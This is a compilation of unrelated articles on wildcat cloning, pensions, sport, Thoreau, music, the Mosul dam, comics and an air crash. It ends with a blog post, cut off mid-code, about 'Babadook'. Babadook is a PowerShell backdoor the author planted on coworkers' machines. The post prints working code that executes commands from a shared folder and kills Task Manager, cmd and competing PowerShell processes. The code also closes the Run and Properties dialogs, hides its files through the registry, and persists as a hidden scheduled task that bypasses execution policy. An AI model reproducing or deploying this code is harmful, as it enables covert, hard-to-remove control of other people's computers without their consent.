-Image caption Wildcat populations have been devastated by disease and habitat loss  A scientist who was involved in cloning Dolly the sheep 15 years ago has started work on a new technique to clone rare Scottish wildcats.  Embryologist Dr Bill Ritchie said the project could help protect the species which is thought to number about 400 cats in the wild.  Midlothian-based Moredun Research Institute is involved.  The Royal Zoological Society of Scotland (RZSS) has previously suggested cloning wildcats.  Dolly the Sheep was the first cloned mammal ever to be made from an adult cell and was the result of work at the Roslin Institute near Edinburgh.  Dr Ritchie's research has received some funding from Genecom, the commercial arm of the Moredun Research Institute and the Institute for Animal Health.  The scientist said: "Several cat species have been cloned using the domestic cat, as well as the wolf using dog eggs.  "It is very difficult to find pure wildcats due to their crossing with domestic animals, but modern scientific techniques are able to select animals which are pure bred.  "Cells collected from these animals by taking a small piece of skin would be cultured to supply cells for the cloning process."  'Pure wildcat kittens'  Dr Ritchie said eggs from domestic cats, which would be available from tissue recovered during spaying of the animal, could be used as the starting material for the cloning process.  A project in the Cairngorms where cats are spayed to prevent inter-breeding with wildcats could provide a "convenient source of eggs", Dr Ritchie said.  In August last year, bosses at the RZSS's Highland Wildlife Park confirmed a plan to clone wildcats was in the early stages of being discussed.  Talks had been held with the Medical Research Council's Human Reproductive Sciences Unit in Edinburgh.  The park said a house cat-wildcat hybrid could be used to give birth to "pure wildcat kittens".  It has been estimated that 150 breeding pairs of wildcats survive in parts of the Highlands.  Disease, loss of habitat and inter-breeding with domestic cats have been blamed for devastating wild populations.
-UK citizens born in the 1960s and ’70s will be the first pensioners since WWII to be worse off than their parents, a study has shown.  The next generation of retirees will have to subsidize their pensions with inheritance to achieve the same quality of life.  The survey carried out by the Institute for Fiscal Studies (IFS) comes off the back of their yearly report which documented the falling standard of living in the UK this year. One of the predominant factors behinds the drop in the quality of retired life is stagnancy of wages following the financial crisis, the study reports.  “The incomes and wealth of those born in the 1960s and ’70s look no higher than the cohorts who came before them. As a result, younger cohorts are likely to have to rely on inheritances to be better off in retirement than their predecessors,” Andrew Hood, one of the authors of the report, told The Guardian.  In addition, those born in the ’60s and ’70s are less likely to own property and will have smaller pensions. They also saw their salaries plateau when their predecessors received large pay increases.  In this way, the study predicts that inheritances are likely to be “unevenly distributed,” favoring the wealthy and increasing the class gap.  “Among those born in the mid-1970s, 35 percent of the wealthiest third expect to receive an inheritance worth at least £100,000, compared with just 12 percent of the least wealthy third,” writes the study.  The less wealthy are likely to see their inheritance curtailed by rising care home costs, which can exceed tens of thousands of pounds a year.  “If you have two parents who spend a number of years needing intensive care home support, that can consume a very significant inheritance before it ever reaches you,” said Tom McPhail, head of pensions research at Hargreaves Lansdown to The Daily Telegraph.  Pointing the finger  The study’s findings mark an end to the steady increase in quality of life of British citizens since the end of WWII. The IFS’ yearly analysis of the cost of living in the UK revealed that incomes had fallen by $2,600 in real terms since May 2000.  The UK’s two main rival parties both pointed the finger at each other following the publication of the annual document. Conservative Prime Minister David Cameron said the drop was hardly surprising after “the biggest recession in 100 years” which he blamed on the “mess” left by the previous Labour government.  However, Labour leader Ed Miliband has attacked the Conservatives, accusing them of upholding the interests of “the privileged few.”
-Tom Papley has committed to the Swans for another two seasons.  Sydney Swans rookie Tom Papley has re-committed to the Club for a further two seasons.  Recruited in last year's rookie draft, Papley wasted no time adjusting to life as an AFL player, making his debut in Round 1 against Collingwood.  Papley has gone on to play 11 matches so far in his debut season, which included a Rising Star nomination for his two goal, 20-possession performance against West Coast in Round 5.  One of seven Swans debutants in 2016, Papley grew up in Bunyip in country Victoria and was working as an apprentice plumber before finally getting an opportunity on the Swans list – the same club both of his grandfathers played at.  Swans General Manager of Football Tom Harley says the Club is rapt to secure Papley's signature.  "Tom has been an exciting young player for us this season," Harley said.  "He has come into our side and made a solid contribution with his forward pressure and determination in the contest.  "We're really looking forward to watching Tom's progression as he continues to learn and grow in our team."  Papley joins Kieren Jack, Nick Smith, Luke Parker, Jeremy Laidler, Harry Cunningham, George Hewett and Aliir Aliir in recommitting to the Swans this season.  Tom Papley Stats  DOB: 13 July, 1996  Draft history: Pick 14, Rookie Draft 2015  AFL Debut: Round 1, 2016 v Collingwood  AFL Games: 11  AFL Goals: 15  Guernsey No: 41  Swans player No 1399  $41 ticket offer!  To celebrate this exciting news fans have the chance to purchase $41 tickets to our Round 20 match against Port Adelaide by using the password PAPLEY41.  Simply click here to take up this great offer today!  Ticket prices include GST. Transaction fees of $6.50 may apply and if a credit card is used credit card fees of 1.95% will apply. Limit of 10 tickets per transaction. Offer valid for Grandstand Category 3, Grandstand Category 4, Concourse Category 1 or Concourse Category 2 reserved seats when purchased online using a valid password. Not valid in conjunction with any other offer. Offer expires 11.59pm AEST on Tuesday, August 2 unless sold out prior.
-In her comprehensive Henry David Thoreau: A Life, Walls—who has previously written about Thoreau’s “turn to science”—calls attention to the pivotal moment when he began to use his journal as he never had before. On November 8, 1850, a year or so after his naturalist’s regimen had begun, Thoreau “wrote up everything he noticed and thought during his daily walk as one long entry.” He did the same the next day, and two days later, Walls notes, and then again a couple of days after that, and the next day,  filling pages with a stream-of-consciousness flow of words as if he were writing while walking: “I pluck,” “I heard,” “I saw yesterday,” “I notice.”  “And this is what truly staggers the mind,” Walls goes on. “From this point, Thoreau did not stop doing this, ever—not until, dying and almost too weak to hold a pen, he crafted one final entry.”  University of Chicago  A week after that first extended entry, he wrote, “I feel ripe for something; it is seed time with me—I have lain fallow long enough.” Thoreau went on, “My Journal should be the record of my love.” At the same time, his journal was a repository of constant measurements, minute and expansive: of the depth of streams, the wingspan of a moth, the number of bubbles trapped beneath the frozen surface of the pond. “What are these pines & these birds about? What is this pond a-doing? I must know a little more,” Thoreau had written back in 1846, when his journal had still been a source to plunder for other writing projects, not yet a compendium of exhaustive field notes. Now his quest for unifying order became more focused, and he set out to pursue it by counting the petals on a blossom or the rings in the stump of a fallen tree—hoping not to lose a sense of beauty and mystery in the process.  The tension between the particular and the whole wasn’t new. Transcendentalists like Emerson were searching for unity in nature, but resisted what seemed to them the blinkered reliance on deductive reasoning and empirical research enforced by encroaching science. Such methods tended to “cloud the sight,” Emerson said, and he endorsed instead a conception of nature as “the symbol of spirit.” That Emersonian notion of natural phenomena as the embodiment of what his mentor called “ideas in the mind of God” had once thrilled Thoreau, as Walls writes. But by the time Thoreau reoriented his life, he needed more direct contact with the “marrow of nature.” Thoreau had already framed the poet-scientist dilemma in 1842, when he reviewed a series of natural-history reports published by the State of Massachusetts: How could such dry summaries hold any interest for the general reader? Where, Thoreau asked in his review in the Transcendentalist literary magazine The Dial, was the joy of nature?  Reading Humboldt’s most popular books, Cosmos, Views of Nature, and Personal Narrative, during his evenings of study, Thoreau learned a way of weaving together the scientific and the imaginative, the individual and the whole, the factual and the wonderful. A vast array of observations, Humboldt insisted, revealed “unity in diversity”—each fact and detail of nature threading together into an interconnected whole. Even before he adopted his systematic regimen, Thoreau’s journal—packed with observations about the songs of birds, the chirping of crickets, the careless pace of the fox, the scent of musk, the “dreamy motions” of fish’s fins—was proof of his visceral relationship to nature. In Thoreau and the Language of Trees, the writer Richard Higgins describes Thoreau sniffing the bark of twigs, listening to the creaking of hardwoods in winter, sampling the taste of lichens (he liked rock tripe and Iceland moss best), delighting in the play of light and shadow in the canopy of trees.  University of California  “We must look a long time before we can see,” Thoreau had concluded in his Dial essay on the “Natural History of Massachusetts,” pronouncing that “the true man of science … will smell, taste, see, hear, feel, better than other men.” Moving beyond Emerson’s grand and spiritual ideas of nature, Thoreau became part of a lively scientific discourse, aware of the latest discoveries, and he used the libraries at Harvard and the Boston Society of Natural History extensively. He collected fish specimens for the zoologist and geologist Louis Agassiz at Harvard. And though he was a little squeamish about gathering birds’ eggs for another scientist there, he agreed to commit “deliberate murder” if the advancement of science demanded it.
-A mid-'70s visa scare had Chrissie Hynde contemplating desperate measures to stay in the U.K. — even marrying a couple of her friends in the Sex Pistols .  The future Pretenders leader made her way from Ohio to London in 1973, and as she later told the Daily Telegraph , she quickly fell in love with the city. "I knew nobody when I got here. It was real good for my own personal discovery," she explained. "I didn't have anyone saying to me, 'Oh, my God, you're wearing hot pants. I can't believe you're wearing hot pants.' Because nobody knew me. I could do and say and think anything I wanted."  But as she recounts in her recently released memoir Reckless: My Life as a Pretender , by 1976, she was on the verge of being kicked out of the country — without a visa, she couldn't get a job, and she'd resorted to "doing dumb s--- to get by" like planning (but ultimately dropping out of) a traveler's check scam. In her desperation, she turned to her friend John Lydon , aka Sex Pistol singer Johnny Rotten, with an eye toward getting married so she could stay in the country.  Unfortunately (or fortunately, depending on how you look at it), this was just as the Pistols started taking off, and Lydon was preoccupied with avoiding the increasing heat of the spotlight — and things were further complicated when Lydon's bandmate Sid Vicious accused Hynde of hatching the plan "'Cause now he's a rock star you can have his baby and get his money!"  Quickly chastened, Vicious ended up offering to marry Hynde himself — but when the would-be newlyweds arrived at the registrar's office to tie the knot, they found it closed. "The next day wouldn't work," wrote Hynde, "as Sid had to go to court for putting someone's eye out with a glass."  Hynde would remain at loose ends for a couple more years, at one point attempting to start a group with future Clash leader Mick Jones, and — as she recounts in her book — suffered plenty of low moments along the way. But by the end of the decade those days were behind her, marked by the release of her band's classic self-titled debut .  See the Pretenders and Other Rockers in the Top 100 Albums of the '80s
-Story highlights U.S. airstrikes destroy 90 targets in Mosul dam fight, Pentagon says  Ridding Iraq of ISIS forces a must for U.S., expert says  ISIS threatens "America will disappear from map"  Dam battle shows Kurdish, Iraqi forces can take the fight to ISIS, President Obama says  U.S. airstrikes helped Kurdish and Iraqi forces take control of Mosul Dam on Monday, fighting back ISIS militants who had seized the dam, President Obama told reporters.  The stakes were huge for the millions of Iraqis who live downstream from the dam, the largest in the country.  "If that dam was breached it could have proven catastrophic, with floods that would have threatened the lives of thousands of civilians and endangered our embassy compound in Baghdad," the President said.  The dam has been the center of an intense battle in northern Iraq between the Islamic extremists and Kurdish forces that had been fighting to retake it since Saturday with U.S. air support.  "The U.S. military used fighters, bombers, attack and unmanned aircraft to conduct 35 strikes, " said Pentagon spokesman Rear Adm. John Kirby. "We destroyed over 90 targets including a range of vehicles, equipment and fighting positions," he said.  JUST WATCHED Kurdish forces fight for Mosul Dam Replay More Videos ... MUST WATCH Kurdish forces fight for Mosul Dam 02:31  JUST WATCHED U.S. airstrikes drive ISIS from Mosul dam Replay More Videos ... MUST WATCH U.S. airstrikes drive ISIS from Mosul dam 01:54  JUST WATCHED ISIS storms town, captures 100 women Replay More Videos ... MUST WATCH ISIS storms town, captures 100 women 01:17  JUST WATCHED Who are the Peshmerga? Replay More Videos ... MUST WATCH Who are the Peshmerga? 01:01  Now that the dam is cleared of ISIS militants, Iraqi forces are moving to grow their area of control, the Pentagon said.  "This operation demonstrates that Iraqi and Kurdish forces are capable of working together and taking the fight to ISIS," Obama said. "If they continue to do so, they will have the strong support of the United States of America."  Taking the fight to ISIS  U.S. airstrikes may not be enough to do the job of ridding Iraq of ISIS forces, said retired Col. Cedric Leighton, a former Air Force intelligence officer.  "At the core of the mission is to get rid of ISIS," he said. "The U.S. cannot have a Middle East in which ISIS exists," he said.  The brutal attacks of ISIS militants as they took control of towns and villages in northern Iraq forced hundreds of thousands of people to flee.  "ISIS tells people to pay or convert," said one Christian man who fled ISIS forces.  A Christian village near Mosul Dam is almost deserted. Some of its residents fled just in time to a monastery in the mountains.  Now she said she hopes ISIS fighters won't reach the monastery.  The U.S. strategy in fighting ISIS is "to take out Isis' leadership, to degrade their operational capabilities, to cut off their financing sources," U.S State Department spokeswoman Marie Harf said Monday.  On several ISIS websites, the group posted a message Monday threatening that "America will disappear from the map soon on the hands of knights of al-Khilafa," a reference to the caliphate ISIS claims it wants to recapture.  Water in war  When ISIS militants seized the dam this month, many feared it could be used as a weapon.  Built in the early 1980s under former Iraqi dictator Saddam Hussein, the dam sits on the Tigris River about 50 kilometers (30 miles) north of the city of Mosul. It serves as a key source of electricity, irrigation and flood protection.  ISIS has a track record of attacking its enemies with water.  This year, its fighters opened the gates on the Falluja Dam in central Iraq after seizing it in an effort to stop an Iraqi military advance. The water from the dam flooded a number of villages.  "ISIS has already used other smaller dams to gain control of territory, to pressure Sunnis to support them and to punish the Shiites," Daniel Pipes, president of the Middle East Forum, told CNN this month.  The 3.2-kilometer-long Mosul Dam holds back as much as 12.5 million cubic meters of water, according to Engineering News-Record, a construction industry website.  If the structure were to give way, it would unleash a wall of water tens of feet tall that would race down the Tigris toward Mosul and its 1.7 million inhabitants. It would also bring flooding to major cities farther downstream, including Baghdad.  'Very poor foundation'  But even if the militant group doesn't try to destroy the dam, concerns remain about its sturdiness.  A U.S. Army Corps of Engineers report in 2006 said that what made the dam especially dangerous was the risk of internal erosion of its foundations.  The structure is built on layers of soil that dissolve or erode in water.  The Army Corps said the dam was "constructed on a very poor foundation" that wasn't designed for the conditions.  Seepage has plagued the structure since the reservoir behind it was filled, according to a U.S. government report in 2007, and sinkholes have appeared near the structure, suggesting problems beneath the surface.  During the American military occupation of Iraq, U.S. authorities spent tens of millions of dollars on short-term repairs on the dam.  But with the immense structure now in the midst of a conflict zone, it remains unclear if it will get the maintenance it needs anytime soon.
-Superman, Batman, and Max Mercury have all been cited as giving comic-book speedster Bart Allen the name Impulse. Batman most famously in Impulse #50, and Superman in the previews for All-Flash #1. (The final lettering simply said “He was code-named Impulse,” sidestepping the issue). But who named him originally?  The name first appears on the cover of Flash #93 (August 1994), with an out-of-control Bart Allen fighting the Flash. The cover is captioned, “Brash Impulse!” Over the next few issues, Wally West’s inner monologue refers to Bart as being impulsive, or (at one point) as “Mr. Impulse.”  It first appears on-panel as a name in Zero Hour #3 (September 1994), when Bart meets Superman for the first time, but Bart introduces himself as Impulse. Dan Jurgens writes.  Superman arrives in Keystone to see Velociraptors chasing Bart.  Superman: Dinosaurs from the merging timelines! Need a hand, kid?  Bart: Call me Kid Flash — and get your big “S” handed to you! The name’s Impulse!  After the events of Zero Hour, the name is explained in Flash v.2 #95 (November 1994), written by Mark Waid.  Wally and Bart are running through the city.  Wally: If we’re going to do this hero thing, let’s do it right. You need a code name.  Bart: How about “Kid Flash?”  Wally: Huh, well…  Bart: Pfffft! Just kidding. “Kid Flash.” Yeah, right…. Save yourself the brainpower. You already gave me a name. Repeatedly.  Bart stops and kisses a random woman on the street (yes, Bart).  Bart: I’m Impulse!  Wally: How terrifyingly accurate. And the mask?  Bart: Are you kiddin’ me? I saw so many guys wearing ’em, I just figured it was a law.  Fast forward several years.  (Thanks to Crazy Penguin for pointing this one out and scanning it) Secret Origins 80-Page Giant (December 1998) tells the origins of the members of Young Justice. In the Mark Waid–written Impulse story, the following exchange appears:  Carol: So who named you Impulse?  Bart: Batman. I have no idea why. Was he being funny?  Eight months later, Todd Dezago had just taken over as the third regular writer on Impulse. He started out with an unusual team-up in Impulse #50 (July 1999): Impulse and Batman against the Joker.  At the end of the issue, Impulse asks Batman a question:  Impulse: Wally said that you named me “Impulse”…what’s up with that?!  Batman: Wally misunderstood. I never meant for Impulse to be your name…. It was meant to be a warning.  Oddly enough, I don’t recall much complaining about the retcon.  Jump forward another half-decade, to the beginning of Bart’s brief career as the Flash. Danny Bilson and Paul Demeo have just taken over as series writers. A dream/origin sequence in Flash: The Fastest Man Alive #2 (September 2006) states, “It was Max who first dubbed me ‘Impulse.'” Fans across the Internet raged at this retcon, even asking about it at conventions, complaining about the “poor research.”  A year later, a 6-page preview of All-Flash #1 (September 2007) has Mark Waid back as writer. In it, Wally West thinks back on Bart’s life:  “The boy was flaky, unpredictable, and had the attention span of a bullet. Superman code-named him Impulse, and it was probably the first thing that ever stuck to him.”  The funny thing is, all that fans seemed to remember at the time about Impulse’s naming was Batman. Not the name he chose himself.  Countdown #43 reiterates the Batman version as Robin speaks at Bart’s funeral: “I remember it was Batman who first called him Impulse… and for a while, the name stuck. I never thought he’d take things seriously enough to be the Flash.”  Finally, in the published art for All-Flash #1, the wording has been altered from what was in the preview. It now simply says, “He was code-named Impulse,” rather than “Superman code-named him Impulse,” side-stepping the question entirely.  So in the final tally, we have 3 votes for Batman, 1 for Bart himself, and 1 for Max.  Part of me (the part that spent two years as an English Literature major) still thinks I should have titled this, “Today we Have Namings of Bart,” but I’m not sure how many people would get the reference.  Originally published at K-Squared Ramblings  Share
-All 90 people aboard an Ethiopian Airlines plane were feared dead after it plunged into the Mediterranean, minutes after taking off from Beirut in a thunderstorm today.  Flight ET409, a Boeing 737-800, heading for Addis Ababa, disappeared off the radar some five minutes after taking off at 2:37 a.m. (0037 GMT).  The Lebanese army said the plane had broken up in the air before plummeting into rough seas. Witnesses described the impact as a "flash that lit up the whole sea" and a "ball of fire".  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  A UK Foreign Office spokeswoman said: "We can confirm that one British national and one dual national were on board Ethiopian Air flight number ET 409 departing from Beirut to Ethiopia, that crashed into the sea off the coast of Lebanon early this morning.  "A British Royal Air Force helicopter, based in Cyprus, has joined the Lebanese authorities' search and rescue operation. Our thoughts are with the families of all those involved in this tragedy."  Also on board was the wife of the French ambassador to Lebanon, according to a French embassy official.  Lebanese President Michel Suleiman said he did not think the plane had been brought down deliberately, emphasising "a sabotage attack is unlikely".  Defence Minister Elias el-Murr also said there was no evidence of a terrorist attack and that weather was "in principle" to blame for the crash.  Ethiopian Airlines CEO Girma Wake said he had spoken with Lebanese authorities who had no word of survivors.  Eighty-three passengers and seven crew were on the flight, Lebanese Transport Minister Ghazi al-Aridi said at the airport.  Twenty-four bodies, including those of two toddlers, have so far been recovered. At least six bodies were of Ethiopian origin, officials said. Some of the bodies were so unrecognisable from the impact of the crash that DNA testing would be needed to identify them.  The remains of mangled aircraft seats and luggage washed up on the shore south of Beirut where the airport's main runway is located. Lebanese army patrol boats, helicopters and divers searched an area off Na'ameh, 10 km (six miles) south of the capital.  Fifty-four of those on board were Lebanese, 22 were Ethiopian, two were British and there were also Canadian, Russian, French, Iraqi, Syrian, and Turkish nationals.  Marla Pietton, wife of the French ambassador to Lebanon Denis Pietton, was on the plane, the French embassy said.  The Lebanese government declared a day of mourning. Prime Minister Saad al-Hariri visited the airport to meet distraught relatives waiting for news of survivors, some of whom were angry that the plane was allowed to take off in bad weather.  "They should have delayed the flight for an hour or two to protect the passengers. There had been strong lightning bolts and we hear that lightning strikes at planes especially during take-offs," a relative of one of the passengers told a local television station.  Girma said he did not think the crew would have taken off in dangerous weather conditions.  "There was bad weather. How bad it is, I will not be able to say. But, from what I see, probably it was manageable weather otherwise the crew would not have taken off," he told reporters in the Ethiopian capital Addis Ababa.  A 14-strong investigation team from Ethiopia including Ethiopian Airlines officials arrived by plane in Beirut to help probe the causes of the crash.  Boeing said it was coordinating with the U.S. National Transportation Safety Board to assist Lebanese authorities in the investigation.  U.N. peacekeepers in Lebanon, Cypriot police, the British military stationed in Cyprus and the U.S. navy provided helicopters, ships and divers to aid search and rescue.  State-owned Ethiopian Airlines has positioned itself as a major player in international air traffic in Africa and has recently expanded its Asian network.  Girma said the plane, built in 2002, last underwent a maintenance check on Dec. 25 and no technical problems were found. The plane had been leased from a division of U.S. financing company CIT Group.  Ethiopian airlines has regular flights to Lebanon, catering for business clients and the thousands of Ethiopians who work there as domestic helpers. Lebanese aviation sources said some of the passengers had been en route to Angola and other African countries.  Last Friday the airline announced an order for 10 of Boeing's Next-Generation 737-800s for a total price of $767 million.  The last incident involving Ethiopian Airlines was in Nov. 1996 when 125 of the 175 passengers and crew died after a hijacked Boeing 767 crashed off the Comoros Islands.  The crash is the fifth incident involving the loss of a Boeing 737-800, according to the Flight Safety Foundation.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-At my previous company I used to prank the colleagues who left their stations unlocked. I call this my “internal awareness program”.  It was all fun and games at the beginning. I would leave post-its on their monitors with a friendly message “You could’ve been hacked” but it wasn’t giving the expected results. Some colleagues found it funny and started “collecting” my post-its. There was a guy in particular with 5 of them. It was evident harder measures had to be taken.  I’ve escalated the awareness program by replacing post-its to emailing the whole team with the message “I was reckless and left my computer unlocked”. Everybody would laugh about it but still wasn’t giving the needed outcome: People locking their desktops when away from the station.  Overcoming restrictions  I came to the conclusion that my colleagues would only learn the lesson if in fact they got hacked somehow, so I decided to make a backdoor so I’d be able to mess with their machines remotely.  Turns out that we were in a fairly constrained environment:  No direct connections between machines: VLAN isolation  User-only access, no admin privileges, cannot install anything  Corporate anti-virus in use, cannot use off-the-shelf solutions  So I started thinking what could I do with what I had in hands. As we were using Windows 7, one powerful tool came to my mind: POWERSHELL. Aw yiss!  I still needed to overcome some situations, no direct connections, inability to open sockets and so on.  As we were all members of the same team, we had access to the some shared folders and that was the vector that popped my mind. I would place a script on this shared folder and my backdoor would read this script and kinda eval() it. Simple and effective.  $SharePath = "\\ournas\ourteamfolder\somesubfolder" $MyPID = $( [System.Diagnostics.Process] ::GetCurrentProcess()).Id $Interval = 10 $CurrMachineCmdPath = " $($SharePath) \cmd. $($env:COMPUTERNAME) . $($MyPID) .ps1" # ... some code # Command parsing loop While ($true) { If (Test-Path $CurrMachineCmdPath) { Try { & $CurrMachineCmdPath Clear-Content $CurrMachineCmdPath } Catch [system.exception] { Log "Error running script: $_" } # end :: try/catch } # end :: if Start-Sleep $Interval } #end :: while  So by using the shared folder strategy and using powershell I’d solve the isolation problem AND the antivirus problem at once. I’ve added Clear-Content so the script would only run the code once.  I’ve skipped lunch for a day and rigged a quick and dirty POC. Tested on my machine, found a colleague that had left the machine unlocked and BAM, it was working.  After some days of fun, they started figuring out and killing my powershell process from the task manager. I needed to make the backdoor resilient.  Enter Babadook  The name came from an excellent scary movie (I trully recomend you to watch it!) I’d seen a while ago called The Babadook @ IMDB, which had the quote “If it’s in a word or in a look, you can’t get rid of the Babadook”.  That’s the motto I would follow to my backdoor. Make it unkillable as long as reasonably possible. Stealthiness wasn’t a big deal. Once I’d started playing the “Super Mario Theme Song” on their PC Speakers my presence would be spotted.  I kinda also wanted them to know and after some while after they came back to their stations and realized they had left it unlocked, they knew they had been pranked.  Multi-threading and the Watchdog routine  I quickly concluded that I’d needed to make my backdoor multi-threaded to have something watching my back while the main routine was waiting for commands. Powershell’s “Jobs” functionality would fit.  I’ve created a Watchdog function which were merely a while ($True) loop sending Stop-Process -processname taskmgr and ignoring errors (if the Task Manager wasn’t running).  I did the same for cmd.exe , wscript.exe and cscript.exe just to be safe.  Stop-Process -processname taskmgr -Force -ErrorAction SilentlyContinue Stop-Process -processname cmd -Force -ErrorAction SilentlyContinue Stop-Process -processname wscript -Force -ErrorAction SilentlyContinue Stop-Process -processname cscript -Force -ErrorAction SilentlyContinue  This also effectively blocks running .bat and .vbs files since the interpreter has no chance to fully load before being killed by Babadook.  That worked for a while until IT released a GPO update blocking powershell remoting and thus blocking the use of powershell Jobs. *sadface*  So the quest for an alternative began and remembering how powershell and .NET integrate beautifully I was sure I could use some Somelongnamespace.Threading.Something .NET voodoo to accomplish that. Turned out the solution was way easier by using powershell’s Runspaces.  $Watchdog = { # code here } # "If it's in a word or in a look, you can't get rid of the babadook" $Global:BabadookWatchdog = [PowerShell] ::Create().AddScript($Watchdog) $Global:WatchdogJob = $Global:BabadookWatchdog.BeginInvoke() # ... code ... # Stop Watchdog If ($Global:BabadookWatchdog -And $Global:WatchdogJob) { Log "Stopping Babadook Watchdog" # No EndInvoke because we won't return (while true loop) and we don't care about the return anyway $Global:BabadookWatchdog.Dispose() | Out-Null Log "Watchdog disposed" } # end :: if  It worked as a charm! My watchdog was up again killing Task Manager immediatly as the window would (try) to appear. My colleagues were going crazy.  NOTE: Up to this moment I’ve been facing some issues with BeginInvoke which seems to fail to run ever once in a while, still debugging this issue. With Jobs I’ve never had this issue, instead I had issues where when the Job wasn’t properly stopped, it would run forever and required a reboot to die since the Watchdog wouldn’t let me open a powershell session.  There can be only one  In order to ensure that nobody would try to play smart and open a powershell window and try to use the Get-Process and Stop-Process to try to kill my backdoor, I’ve added the functionality to the watchdog to kill all powershell processes which were not his own. Upon start I’d save my process ID into a variable and use that to check the other powershell processes.  Function Kill-PS { Stop-Process -processname powershell_ise -Force -ErrorAction SilentlyContinue # Kill powershell_ise.Exe # Kill powershell processes which are not me $AllPS = [array] $(Get-Process | Where-Object { $_.ProcessName -eq "powershell" -And $_.Id -ne "$MyPID" }) If ($AllPS.Count -gt 0) { ForEach ($Proc in $AllPS) { Stop-Process -Id $Proc.ID -Force -ErrorAction SilentlyContinue } # end :: foreach } # end :: if } # end :: Kill-PS  Also, no Powershell ISE here!  You can’t Run but I can hide!  At the same time my colleagues were desperately trying to kill Babadook, I was also doing the same to ensure I could cover the holes before they were able to get to it.  I’ve realized that someone could just invoke the taskill command directly from the “Run” dialog and that was bad (for me), so I needed a way to prevent that dialog from coming up. As this is a built-in dialog and not a process, I wasn’t able to take down on the classical way (with Stop-Process ) so I’ve appealed to .NET extensions to grab some Windows API calls in order to enumerate the foreground window and if the title was what I wanted, kaboom!.  Add-Type @ " using System; using System.Runtime.InteropServices; using System.Text; public class APIFuncs { [DllImport(" user32.dll ", CharSet = CharSet.Auto, SetLastError = true)] public static extern int GetWindowText(IntPtr hwnd,StringBuilder lpString, int cch); [DllImport(" user32.dll ", SetLastError=true, CharSet=CharSet.Auto)] public static extern IntPtr GetForegroundWindow(); [DllImport(" user32.dll ", SetLastError=true, CharSet=CharSet.Auto)] public static extern Int32 GetWindowTextLength(IntPtr hWnd); [DllImport(" user32.dll ", SetLastError=true, CharSet=CharSet.Auto)] public static extern int SendMessage(int hWnd, uint Msg, int wParam, int lParam); public const int WM_SYSCOMMAND = 0x0112; public const int SC_CLOSE = 0xF060; } " @ Function Kill-Run { $ForegroundWindow = [apifuncs] ::GetForegroundWindow() $WindowTextLen = [apifuncs] ::GetWindowTextLength($ForegroundWindow) $StringBuffer = New-Object text.stringbuilder -ArgumentList ($WindowTextLen + 1) $ReturnLen = [apifuncs] ::GetWindowText($ForegroundWindow,$StringBuffer,$StringBuffer.Capacity) $WindowText = $StringBuffer.tostring() if ($WindowText -eq "Run" ) { [void][apifuncs] ::SendMessage($ForegroundWindow, [apifuncs] ::WM_SYSCOMMAND, [apifuncs] ::SC_CLOSE, 0) } # end :: if } # end :: Kill-Run  Hiding in plain sight  To add a sleight of fear, I’d thought it would be nice to hide my Babadook files since if my victim could find the command script on the shared folder, he could add some code there to kill Babadook and end my party, so a little code to get this sorted out was added to the Watchdog:  Function Hide-Me { If (Test-Path $ScriptPath) { $(Get-Item $ScriptPath -Force).Attributes = "Archive,Hidden" } If (Test-Path $CurrMachineCmdPath) { $(Get-Item $CurrMachineCmdPath -Force).Attributes = "Archive,Hidden" } If (Test-Path $LogPath) { $(Get-Item $LogPath -Force).Attributes = "Archive,Hidden" } Set-ItemProperty HKCU : \\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name Hidden -Value 2 # Don't display hidden files } # end :: Hide-Me  The last line adds an entry to the Registry turning on the option “Don’t display system and hidden files”. As this was on the While ($true) loop, even if the user turned that off, it would be turned back on immediately.  Take no shortcuts  With my anti-kill countermeasures in place, I was thinking on more ways to kill Babadook to improve the Watchdog, so it came to my mind that one could create a shortcut for taskill so I’ve made a little modification to my “Run Killer”:  # ... some code if ($WindowText -eq "Run" -Or $WindowText.Contains( "Properties" )) { [void][apifuncs] ::SendMessage($ForegroundWindow, [apifuncs] ::WM_SYSCOMMAND, [apifuncs] ::SC_CLOSE, 0) } # end :: if # ... more code  That would take care of popping out the “Properties” dialog out of any file. Booya!  When everything else fails, reboot!  I’m sure there are some other ways to kill my process but that was enough for the moment (and I needed to get some lunch anyway). So people started realizing that a reboot was the only way to get rid of the Babadook.  I couldn’t leave this that way and needed a a persistence method. I first thought about the “Run” key on the registry but that might need admin privileges, so why not resort to our well known scheduled tasks?  Popped up a code to copy the Babadook script to the local machine with a random name and create the new task to run “At Logon”, “On Idle” and “Daily at 8AM”.  function Babadook-Persist { $CharSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" .ToCharArray() $NewName = $(Get-Random -InputObject $CharSet -Count 8 | % -Begin { $randStr = $null } -Process { $randStr += [char] $_ } -End { $randStr }) + ".ps1" $NewPath = " $($env:LOCALAPPDATA) \ $($NewName) " Install-Task $NewPath } # end :: Babadook-Persist function Install-Task ($BBDPath) { $CommandArguments = "-executionpolicy bypass -windowstyle hidden -f `" $($BBDPath) `" " $taskRunAsuser = [Environment] ::UserDomainName + "\" + $env:USERNAME $service = new-object -com( "Schedule.Service" ) $service.Connect() $rootFolder = $service.GetFolder( "\" ) Try { $rootFolder.GetTask( "\Babadook" ) | Out-Null Log "Babadook persist task already installed" } Catch { Log "Copying Babadook to local machine at `" $($BBDPath) `" " Copy-Item $script:MyInvocation.MyCommand.Path $BBDPath -Force Log "Installing Babadook persist task" $taskDefinition = $service.NewTask(0) $regInfo = $taskDefinition.RegistrationInfo $regInfo.Description = 'Ba-ba-ba DOOK DOOK DOOK' $regInfo.Author = $taskRunAsuser $settings = $taskDefinition.Settings $settings.Enabled = $True $settings.StartWhenAvailable = $True $settings.Hidden = $True $triggers = $taskDefinition.Triggers # Triger time $triggerDaily = $triggers.Create(2) $triggerDaily.StartBoundary = " $(Get-Date -Format 'yyyy-mm-dd' ) T0800" $triggerDaily.DaysInterval = 1 $triggerDaily.Enabled = $True # Trigger logon $triggerLogon = $triggers.Create(9) $triggerLogon.UserId = $taskRunAsUser $triggerLogon.Enabled = $True # Trigger Idle $triggerIdle = $triggers.Create(6) $triggerIdle.Enabled = $True $Action = $taskDefinition.Actions.Create(0) $Action.Path = 'powershell.exe' $Action.Arguments = $CommandArguments $rootFolder.RegisterTaskDefinition( 